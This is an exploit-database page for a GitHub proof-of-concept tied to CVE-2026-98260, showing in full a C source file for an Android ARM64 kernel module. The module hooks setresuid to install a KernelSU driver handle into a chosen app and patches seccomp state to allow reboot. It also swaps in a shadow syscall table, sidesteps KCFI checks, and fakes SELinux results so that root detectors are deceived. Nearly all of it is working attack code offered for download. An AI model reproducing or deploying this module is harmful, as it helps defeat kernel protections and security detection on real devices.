Exploit database

GH-16c947575a17df773e4128fed41d2cf8

chayewuu/xring-cve-2026-98260-os4.0

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files13
chayewuu/xring-cve-2026-98260-os4.0Revision bcdbef2044a4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

native/ksufd.c

Suggested starting fileC · 23,765 bytes
/* 在 setresuid 入口挂 kprobe,命中目标 uid 时用 task_work 把 KSU driver fd
 * 装进该进程。走 task_work 是因为 kprobe 的 pre_handler 跑在异常上下文,
 * 而 fd_install 需要可睡眠的进程上下文。
 *
 * g_ksu_base / g_target_uid 由加载器在用户态 patch 进 .data —— 模块里不读
 * /proc/modules,也不调 kallsyms_lookup_name,避免 CFI 类型不匹配。 */

typedef unsigned char u8;
typedef unsigned int u32;
typedef unsigned long u64;

#define MODNAME "ksufd"

#define TWA_RESUME 1

struct task_struct;
struct pt_regs;
struct kprobe;

struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
};

struct kprobe {
    u8 hlist[0x10];
    u8 list[0x10];
    unsigned long nmissed;
    void *addr;
    const char *symbol_name;
    unsigned long offset;
    int (*pre_handler)(struct kprobe *p, struct pt_regs *regs);
    void (*post_handler)(struct kprobe *p, struct pt_regs *regs, unsigned long flags);
    u8 tail[0x78 - 0x50];
};

extern int register_kprobe(struct kprobe *p);
extern int task_work_add(struct task_struct *task, struct callback_head *work, int mode);
extern int _printk(const char *fmt, ...);

__attribute__((used, section(".data")))
volatile unsigned long g_ksu_base;
__attribute__((used, section(".data")))
volatile unsigned int g_target_uid;
__attribute__((used, section(".data")))
volatile unsigned long g_syscall_table;
__attribute__((used, section(".data")))
volatile unsigned long g_dispatcher;
__attribute__((used, section(".data")))
volatile unsigned int g_dispatcher_slot;
/* SELinux 隐藏相关的 KSU 内部函数地址,同样由加载器算好写进来。 */
__attribute__((used, section(".data")))
volatile unsigned long g_ksu_patch_text;
__attribute__((used, section(".data")))
volatile unsigned long g_ksu_my_context;
__attribute__((used, section(".data")))
volatile unsigned long g_ksu_my_access;
__attribute__((used, section(".data")))
volatile unsigned long g_ksu_my_status;
__attribute__((used, section(".data")))
volatile unsigned long g_ksu_my_setprocattr;
/* Nova 的第五个 hook:inode_setxattr。它同样靠 static_call 上线,
 * 这里只负责把它那次 patch_text 拦成假成功。 */
__attribute__((used, section(".data")))
volatile unsigned long g_ksu_my_setxattr;
/* 内核原本的 selinux_setprocattr(kallsyms 里的地址),由加载器填。 */
__attribute__((used, section(".data")))
volatile unsigned long g_selinux_setprocattr;

/* invoke_syscall 的第三参(x2)就是表指针,调用点用 adrp/add 直接给出。
 * 换掉它就能让 KSU 的 dispatcher 生效,而不必去写只读的 sys_call_table。 */
#define NR_SYSCALLS 469

static unsigned long g_shadow[NR_SYSCALLS] __attribute__((aligned(64)));
static int g_shadow_ready;

static int ksufd_invoke_pre(struct kprobe *p, struct pt_regs *regs)
{
    unsigned long *args = (unsigned long *)regs;

    (void)p;
    if (!g_shadow_ready)
        return 0;
    /* compat 表也是同一个调用点,只认 64 位那张。 */
    if (args[2] != g_syscall_table)
        return 0;
    args[2] = (unsigned long)g_shadow;
    return 0;
}

#define FD_SLOTS 256

static struct callback_head g_work[FD_SLOTS];
static unsigned int g_work_next;

static int g_installed;

static void ksufd_install(struct callback_head *head)
{
    unsigned long base = g_ksu_base;
    int (*install)(void);

    (void)head;
    if (!base)
        return;
    install = (int (*)(void))(base + KSU_INSTALL_FD_OFF);
    g_installed = install();
    _printk("ksufd: install fd -> %d\n", g_installed);
}

static struct task_struct *ksufd_current(void)
{
    unsigned long sp_el0;

    __asm__ volatile ("mrs %0, sp_el0" : "=r" (sp_el0));
    return (struct task_struct *)sp_el0;
}

/* sys_call_table 里的条目是 syscall_fn_t,签名是 long (*)(const struct pt_regs *)。
 * 所以挂 __arm64_sys_setresuid 时 x0 拿到的是 pt_regs 指针,真正的 uid 参数在
 * 它指向的 regs[1] 里,而不是在 kprobe 自己的 regs 里。 */
/* ksu_install_fd 在 .text 内的偏移。各分支不同,编译时用 -D 覆盖:
 * 官方 0x11500 / SukiSU 0x15d64 / Next 0x11b3c / 7kimisu 0x13b0c。
 * 写错不会报错,只会静默跳到别的函数中段。 */
#ifndef KSU_INSTALL_FD_OFF
#define KSU_INSTALL_FD_OFF 0x11500
#endif

struct pt_regs_layout {
    unsigned long regs[31];
    unsigned long sp;
    unsigned long pc;
    unsigned long pstate;
};

/* task_struct 里 seccomp.filter 的偏移(BTF:seccomp@0x9d0、filter@+0x8)。 */
#define TASK_SECCOMP_FILTER_OFF 0x9d8UL
/* seccomp_filter.cache.allow_native 在 +0x10,位图按 long 排。
 * 放行 __NR_reboot(142) 后,ksud 才能用 reboot magic 取 driver fd。 */
#define FILTER_ALLOW_NATIVE_OFF 0x10UL
#define NR_REBOOT 142

static void ksufd_allow_reboot(struct task_struct *task)
{
    unsigned long filter;
    unsigned long word;
    unsigned long addr;
    unsigned long bit = NR_REBOOT;

    __asm__ volatile ("ldr %0, [%1, %2]" : "=r" (filter) : "r" (task), "r" (TASK_SECCOMP_FILTER_OFF));
    if (!filter)
        return;
    addr = filter + FILTER_ALLOW_NATIVE_OFF + (bit / 64) * 8;
    __asm__ volatile ("ldr %0, [%1]" : "=r" (word) : "r" (addr));
    word |= 1UL << (bit % 64);
    __asm__ volatile ("str %0, [%1]" :: "r" (word), "r" (addr) : "memory");
}

static int ksufd_pre(struct kprobe *p, struct pt_regs *regs)
{
    unsigned long *args = (unsigned long *)regs;
    struct pt_regs_layout *inner = (struct pt_regs_layout *)args[0];
    struct task_struct *task = ksufd_current();
    struct callback_head *work;
    unsigned int slot;
    unsigned int euid;

    (void)p;
    if (!g_ksu_base || !g_target_uid || !inner)
        return 0;
    /* SYSCALL_DEFINE3(setresuid, ruid, euid, suid) ⇒ regs[1] 是 euid。
     * zygote 给 App 设 uid 时三个参数相同,比 euid 足够。 */
    euid = (unsigned int)inner->regs[1];
    if (euid != g_target_uid)
        return 0;

    /* KSU 原生路径会顺带放行 reboot,ksud 靠它取 fd;这里补上同一步。 */
    ksufd_allow_reboot(task);

    slot = __atomic_fetch_add(&g_work_next, 1, __ATOMIC_RELAXED) % FD_SLOTS;
    work = &g_work[slot];
    work->func = ksufd_install;
    if (task_work_add(task, work, TWA_RESUME))
        _printk("ksufd: task_work_add failed\n");
    else
        _printk("ksufd: queued for uid %u\n", g_target_uid);
    return 0;
}

/* ------------------------------------------------------------------
 * SELinux 隐藏:不改 .rodata,改函数入口
 *
 * KSU 的 selinux_hide 靠 ksu_patch_text() 往 write_op[CONTEXT/ACCESS] 和
 * sel_handle_status_ops->open 里写函数指针,这三处都在只读段,本机写不进去
 * (copy_to_kernel_nofault 返回 -EFAULT,KSU 再把它折成 -ENOSYS = -38)。
 *
 * 这里换个层次:槽里的指针不写,改成在原来那个函数(sel_write_context 等,
 * 在 .text,kprobe 改得动)的入口挂 kprobe,命中时把 pc 换成 KSU 的替换函数。
 * 只有 KSU 自己要写这几个槽的那一次调用被拦下来并假装成功,其余 patch 照旧。
 * ------------------------------------------------------------------ */

#define HIDE_SLOTS 8
#define HIDE_REDIRECT 0     /* 需要函数入口重定向 */
#define HIDE_STATIC_CALL 1  /* 只需要假成功:真正的替换由 KSU 的 static_call 完成 */

struct hide_slot {
    volatile unsigned long ksu_fn;   /* KSU 准备写进槽里的替换函数 */
    volatile unsigned long dst;      /* 目标槽地址,第一次调用时学到 */
    volatile unsigned long orig;     /* 槽里原来的函数(.text) */
    volatile unsigned long owner;    /* 防重入:正在走重定向的 task */
    volatile int kind;
    volatile int want;      /* KSU 想要的状态;kprobe 注册是异步的,注册完按它落位 */
    volatile int armed;
    volatile int registered;
    void *wrapper;
    struct kprobe kp;
};

static struct hide_slot g_hide[HIDE_SLOTS];

/* 「隐藏 SELinux」当前是否开着。由 KSU 对 setprocattr 槽的那次 patch_text 置位,
 * 关闭时的反向写入清掉 —— 这样 attr/current 的钩子跟着开关走,不会常开。 */
static volatile int g_hide_enabled;

/* 用 asm 做间接调用,绕开模块自己插入的 KCFI 检查:KSU 那几个 static 函数的
 * 类型字我们无法保证和这里声明的原型算出来一致。 */
static long ksufd_call(void *fn, unsigned long a, unsigned long b, unsigned long c)
{
    register long x0 __asm__("x0") = (long)a;
    register long x1 __asm__("x1") = (long)b;
    register long x2 __asm__("x2") = (long)c;
    register long x8 __asm__("x8") = (long)fn;

    __asm__ volatile ("blr x8"
                      : "+r" (x0)
                      : "r" (x1), "r" (x2), "r" (x8)
                      : "x3", "x4", "x5", "x6", "x7", "x9", "x10", "x11", "x12", "x13",
                        "x14", "x15", "x16", "x17", "x18", "lr", "memory", "cc");
    return x0;
}

/* owner 在整个 KSU 调用期间保持置位:KSU 的 my_write_context 在 uid<10000 时
 * 会回头调 orig_context_write(还是被挂的那个 sel_write_context),那次调用看到
 * owner 非零就直接放行真正的实现,不会自己套自己。 */
#define TASK_CRED_OFF 0x908UL
#define HIDE_UID_MIN 10000u

static unsigned int ksufd_current_uid(void)
{
    struct task_struct *task = ksufd_current();
    unsigned long cred;
    unsigned int uid;

    if (!task)
        return 0;
    __asm__ volatile ("ldr %0, [%1, %2]" : "=r" (cred) : "r" (task), "r" (TASK_CRED_OFF));
    if (!cred)
        return 0;
    __asm__ volatile ("ldr %w0, [%1, #8]" : "=r" (uid) : "r" (cred));
    return uid;
}

/* 只认 SELinux 上下文里的类型字段:":ksu:" 或 ":ksu_xxx:"。
 * 不做任意位置、忽略大小写的子串匹配 —— 那样任何刚好含 ksu 三个字母的值
 * (包括 u:object_r:ksu_vendor:s0 这类合法标签)都会被误判成 KSU 上下文。 */
static int ksufd_is_ksu_context(const char *buf, unsigned long size)
{
    unsigned long i;

    if (!buf || size < 5)
        return 0;
    for (i = 0; i + 5 <= size; i++) {
        if (buf[i] != ':')
            continue;
        if (buf[i + 1] != 'k' || buf[i + 2] != 's' || buf[i + 3] != 'u')
            continue;
        if (buf[i + 4] == ':' || buf[i + 4] == '_')
            return 1;
    }
    return 0;
}

/* KSU 自己的隐藏只覆盖 uid >= 10000,低 uid 的调用会被原样交给内核实现 —— 但那些
 * 调用者是 root / system / shell,app 的 uid 从 10000 起算,app_zygote 和 isolated
 * 进程也都用 app 自己的 uid,够不到这条分支。
 *
 * 这里仍按 app uid 兜一层:万一 KSU 的替换函数在这种输入上回了「成功」,就改成
 * -EINVAL,与它平时对 app 的回答保持一致。root / system 的返回值一个字不改,
 * 免得把特权调用者看到的真实结果也换掉。 */
static long ksufd_hide_wrap0(unsigned long a, unsigned long b, unsigned long c)
{
    int leak = ksufd_current_uid() >= HIDE_UID_MIN &&
               ksufd_is_ksu_context((const char *)b, c);
    long ret = ksufd_call((void *)g_hide[0].ksu_fn, a, b, c);

    g_hide[0].owner = 0;
    if (leak && ret > 0)
        ret = -22;
    return ret;
}

static long ksufd_hide_wrap1(unsigned long a, unsigned long b, unsigned long c)
{
    int leak = ksufd_current_uid() >= HIDE_UID_MIN &&
               ksufd_is_ksu_context((const char *)b, c);
    long ret = ksufd_call((void *)g_hide[1].ksu_fn, a, b, c);

    g_hide[1].owner = 0;
    if (leak && ret > 0)
        ret = -22;
    return ret;
}

static long ksufd_hide_wrap2(unsigned long a, unsigned long b, unsigned long c)
{
    long ret = ksufd_call((void *)g_hide[2].ksu_fn, a, b, c);

    g_hide[2].owner = 0;
    return ret;
}

/* attr/current 这条路藏不住的原因:app_zygote 写 u:r:ksu:s0 时内核先解析上下文,
 * 类型存在就能过解析、随后才因为域转换不被允许回 -EACCES;类型不存在的
 * (Magisk / LSPosed)在解析阶段就回 -EINVAL。检测器正是用 13 / 22 的区别判断
 * "这个类型在策略里存不存在"。
 *
 * 这里不走"调原函数再改正返回值":需要拦的那次调用直接把 pc 指到一个只返回
 * -EINVAL 的桩,原函数根本不执行。好处是不用做间接调用(不碰 KCFI)、不会递归、
 * 也不会有任何副作用。其余情况 pre_handler 直接返回 0,原函数照常跑。 */
static long __attribute__((noinline)) ksufd_einval_stub(void)
{
    return -22;
}

static int ksufd_setattr_pre(struct kprobe *p, struct pt_regs *regs)
{
    struct pt_regs_layout *dw = (struct pt_regs_layout *)regs;
    const char *value = (const char *)dw->regs[1];
    unsigned long size = dw->regs[2];

    (void)p;
    /* 跟随「隐藏 SELinux」开关:关掉之后(或从未开启)这里一路放行。 */
    if (!g_hide_enabled)
        return 0;
    /* 只动普通 app;root / system 等低 uid 的合法写一个字不改。 */
    if (ksufd_current_uid() < HIDE_UID_MIN)
        return 0;
    if (!ksufd_is_ksu_context(value, size))
        return 0;
    dw->pc = (unsigned long)ksufd_einval_stub;
    return 1;
}

static int ksufd_hide_pre(struct kprobe *p, struct pt_regs *regs)
{
    struct hide_slot *s = (struct hide_slot *)((char *)p - __builtin_offsetof(struct hide_slot, kp));
    struct pt_regs_layout *dw = (struct pt_regs_layout *)regs;

    if (!s->armed || !s->wrapper)
        return 0;
    if (s->owner)
        return 0;
    s->owner = (unsigned long)ksufd_current();
    dw->pc = (unsigned long)s->wrapper;
    return 1;
}

/* ksu_patch_text 的替身:直接返回 0。 */
static int __attribute__((noinline, used))
ksufd_patch_ok(void *dst, void *src, unsigned long len, int flags)
{
    (void)dst;
    (void)src;
    (void)len;
    (void)flags;
    return 0;
}

static volatile unsigned int g_hide_pending;
static volatile int g_hide_work_queued;
static struct callback_head g_hide_work;

static void ksufd_hide_arm(struct callback_head *head)
{
    int i;

    (void)head;
    g_hide_work_queued = 0;
    for (i = 0; i < HIDE_SLOTS; i++) {
        struct hide_slot *s = &g_hide[i];
        int rc;

        if (!(g_hide_pending & (1u << i)))
            continue;
        g_hide_pending &= ~(1u << i);
        if (!s->orig || s->registered)
            continue;
        s->kp.addr = (void *)s->orig;
        s->kp.symbol_name = 0;
        s->kp.offset = 0;
        s->kp.pre_handler = ksufd_hide_pre;
        s->kp.post_handler = 0;
        rc = register_kprobe(&s->kp);
        if (rc) {
            _printk("ksufd: hide hook %d failed rc=%d orig=%#lx\n", i, rc, s->orig);
            continue;
        }
        s->registered = 1;
        s->armed = s->want;
        _printk("ksufd: hide hook %d armed=%d orig=%#lx -> %#lx\n", i, s->armed, s->orig, s->ksu_fn);
    }
}

/* pre_handler 跑在异常上下文,注册 kprobe 要睡眠,所以推到 task_work 里做。
 * 在那之前 KSU 已经认为 patch 成功,中间这段窗口只有管理器自己在跑,没有
 * 外部进程会去写 selinuxfs。 */
static void ksufd_hide_schedule(int index)
{
    struct task_struct *task = ksufd_current();

    g_hide_pending |= 1u << index;
    if (g_hide_work_queued)
        return;
    g_hide_work.func = ksufd_hide_arm;
    if (task_work_add(task, &g_hide_work, TWA_RESUME)) {
        _printk("ksufd: hide task_work_add failed\n");
        return;
    }
    g_hide_work_queued = 1;
}

static int ksufd_patch_pre(struct kprobe *p, struct pt_regs *regs)
{
    struct pt_regs_layout *dw = (struct pt_regs_layout *)regs;
    unsigned long dst = dw->regs[0];
    unsigned long src = dw->regs[1];
    unsigned long len = dw->regs[2];
    unsigned long fn;
    int i;

    (void)p;
    if (len != 8 || !dst || !src)
        return 0;
    fn = *(volatile unsigned long *)src;

    /* 正向:KSU 要往槽里写自己的替换函数 */
    for (i = 0; i < HIDE_SLOTS; i++) {
        struct hide_slot *s = &g_hide[i];

        /* 5/6 是直接注册的入口钩子,orig 已经是函数地址,不能让槽地址覆盖掉。 */
        if (i >= 5)
            continue;
        if (!s->ksu_fn || fn != s->ksu_fn)
            continue;
        s->dst = dst;
        s->orig = *(volatile unsigned long *)dst;
        s->want = 1;
        /* setprocattr / inode_setxattr 是 KSU 开启流程的最后两步,
         * 拿它们当「开关已打开」的信号(官方只有前者,Nova 两个都有)。 */
        if (i == 3 || i == 4)
            g_hide_enabled = 1;
        if (s->kind == HIDE_REDIRECT) {
            if (s->registered)
                s->armed = 1;
            else
                ksufd_hide_schedule(i);
        }
        dw->pc = (unsigned long)ksufd_patch_ok;
        return 1;
    }

    /* 反向:KSU 关掉功能时要写回原函数,同样写不进去,一并假装成功 */
    for (i = 0; i < HIDE_SLOTS; i++) {
        struct hide_slot *s = &g_hide[i];

        if (!s->dst || s->dst != dst)
            continue;
        s->want = 0;
        s->armed = 0;
        if (i == 3 || i == 4)
            g_hide_enabled = 0;
        dw->pc = (unsigned long)ksufd_patch_ok;
        return 1;
    }
    return 0;
}

static struct kprobe g_kp_patch;

static void ksufd_hide_setup(void)
{
    g_hide[0].ksu_fn = g_ksu_my_context;
    g_hide[0].wrapper = (void *)ksufd_hide_wrap0;
    g_hide[0].kind = HIDE_REDIRECT;
    g_hide[1].ksu_fn = g_ksu_my_access;
    g_hide[1].wrapper = (void *)ksufd_hide_wrap1;
    g_hide[1].kind = HIDE_REDIRECT;
    g_hide[2].ksu_fn = g_ksu_my_status;
    g_hide[2].wrapper = (void *)ksufd_hide_wrap2;
    g_hide[2].kind = HIDE_REDIRECT;
    /* setprocattr 的槽也被 __ro_after_init 保护,但 6.12+ 的 LSM 分发走
     * static_call,KSU 随后的 __static_call_update 就能生效,不用改入口。
     * 槽本身不需要重定向,但 KSU 的替换函数并不隐藏 attr/current 的写,
     * 所以下面 4/5 两个入口还要挂(用 ksufd_setattr_pre,不调用原函数)。 */
    g_hide[3].ksu_fn = g_ksu_my_setprocattr;
    g_hide[3].wrapper = 0;
    g_hide[3].kind = HIDE_STATIC_CALL;
    /* Nova 比官方多挂一个 inode_setxattr,同样走 static_call 上线,
     * 把槽里那次 patch_text 拦成假成功就够了。 */
    g_hide[4].ksu_fn = g_ksu_my_setxattr;
    g_hide[4].wrapper = 0;
    g_hide[4].kind = HIDE_STATIC_CALL;
    /* 5:内核原来的 selinux_setprocattr;6:KSU 的 my_setprocattr。
     * static_call 有没有真的换过去不确定,两个入口都挂,谁在链路上谁生效。 */
    g_hide[5].ksu_fn = 0;
    g_hide[5].wrapper = 0;
    g_hide[5].kind = HIDE_REDIRECT;
    g_hide[6].ksu_fn = 0;
    g_hide[6].wrapper = 0;
    g_hide[6].kind = HIDE_REDIRECT;
}

/* setprocattr 的两个入口地址加载时就有,不用等 KSU 的 patch 来告诉我们。
 * 常开注册、但不常开生效:是否拦截由 ksufd_setattr_pre 里的 g_hide_enabled 决定。 */
static void ksufd_hide_register_setattr(void)
{
    unsigned long addr[2];
    int i;

    addr[0] = g_selinux_setprocattr;
    addr[1] = g_ksu_my_setprocattr;
    for (i = 0; i < 2; i++) {
        struct hide_slot *s = &g_hide[5 + i];
        int rc;

        if (!addr[i] || s->registered)
            continue;
        s->orig = addr[i];
        s->kp.addr = (void *)s->orig;
        s->kp.symbol_name = 0;
        s->kp.offset = 0;
        s->kp.pre_handler = ksufd_setattr_pre;
        s->kp.post_handler = 0;
        rc = register_kprobe(&s->kp);
        if (rc) {
            _printk("ksufd: setattr hook %d failed rc=%d addr=%#lx\n", 5 + i, rc, addr[i]);
            continue;
        }
        s->registered = 1;
        s->armed = 1;
        _printk("ksufd: setattr hook %d ready orig=%#lx\n", 5 + i, s->orig);
    }
}

static struct kprobe g_kp = {
    .symbol_name = "__arm64_sys_setresuid",
    .pre_handler = ksufd_pre,
};

static struct kprobe g_kp_invoke = {
    .symbol_name = "invoke_syscall",
    .pre_handler = ksufd_invoke_pre,
};

static void ksufd_build_shadow(void)
{
    unsigned long table = g_syscall_table;
    unsigned int slot = g_dispatcher_slot;
    int i;

    if (!table || !g_dispatcher || slot >= NR_SYSCALLS)
        return;
    for (i = 0; i < NR_SYSCALLS; i++)
        g_shadow[i] = *(volatile unsigned long *)(table + (unsigned long)i * 8);
    /* dispatcher 只认 syscallno 等于自己槽号的那次调用,其余一律 -ENOSYS,
     * 所以只换这一个槽;别的槽保持原样,未命中的 syscall 完全不受影响。 */
    g_shadow[slot] = g_dispatcher;
    g_shadow_ready = 1;
}

static int ksufd_init(void)
{
    int rc;

    _printk("ksufd: init base=%#lx uid=%u table=%#lx disp=%#lx slot=%u\n",
            g_ksu_base, g_target_uid, g_syscall_table, g_dispatcher, g_dispatcher_slot);
    if (!g_ksu_base) {
        _printk("ksufd: no ksu base, skip\n");
        return 0;
    }

    /* SELinux 隐藏:拦 KSU 对只读槽的写入,改成函数入口重定向。 */
    ksufd_hide_setup();
    ksufd_hide_register_setattr();
    if (g_ksu_patch_text) {
        g_kp_patch.addr = (void *)g_ksu_patch_text;
        g_kp_patch.symbol_name = 0;
        g_kp_patch.offset = 0;
        g_kp_patch.pre_handler = ksufd_patch_pre;
        g_kp_patch.post_handler = 0;
        rc = register_kprobe(&g_kp_patch);
        _printk("ksufd: register ksu_patch_text %#lx -> %d\n", g_ksu_patch_text, rc);
    } else {
        _printk("ksufd: selinux_hide hooks unavailable\n");
    }

    if (g_syscall_table && g_dispatcher) {
        ksufd_build_shadow();
        rc = register_kprobe(&g_kp_invoke);
        _printk("ksufd: register invoke_syscall -> %d shadow_ready=%d\n", rc, g_shadow_ready);
        if (rc) {
            g_shadow_ready = 0;
        } else {
            return 0;
        }
    }
    rc = register_kprobe(&g_kp);
    _printk("ksufd: register_kprobe -> %d\n", rc);
    return 0;
}

struct mod_layout {
    u8 _p1[0x18];
    char name[56];
    u8 _p2[0x178 - 0x18 - 56];
    int (*init)(void);
    u8 _p3[0x600 - 0x178 - 8];
    void (*exit)(void);
    u8 _p4[0x680 - 0x600 - 8];
};

__attribute__((section(".gnu.linkonce.this_module"), used, aligned(64)))
struct mod_layout __this_module = {
    .name = MODNAME,
    .init = ksufd_init,
    .exit = 0,
};

__attribute__((section(".modinfo"), used))
static const char __modinfo[] =
    "name=" MODNAME "\0"
    "vermagic=6.18.21-android17-5-g1d099fcb35e0-abogki538445360-4k SMP preempt mod_unload modversions aarch64\0";

struct modversion_info { unsigned long long crc; char name[56]; };
__attribute__((section("__versions"), used))
static struct modversion_info _modver[] = {
    { 0x60801db3ull, "module_layout" },
};

__asm__(".section .plt,\"aw\",@progbits\n.byte 0\n"
        ".section .init.plt,\"aw\",@progbits\n.byte 0\n"
        ".section .text.ftrace_trampoline,\"aw\",@progbits\n.byte 0\n"
        ".section .init.text.ftrace_trampoline,\"aw\",@progbits\n.byte 0\n"
        ".text\n");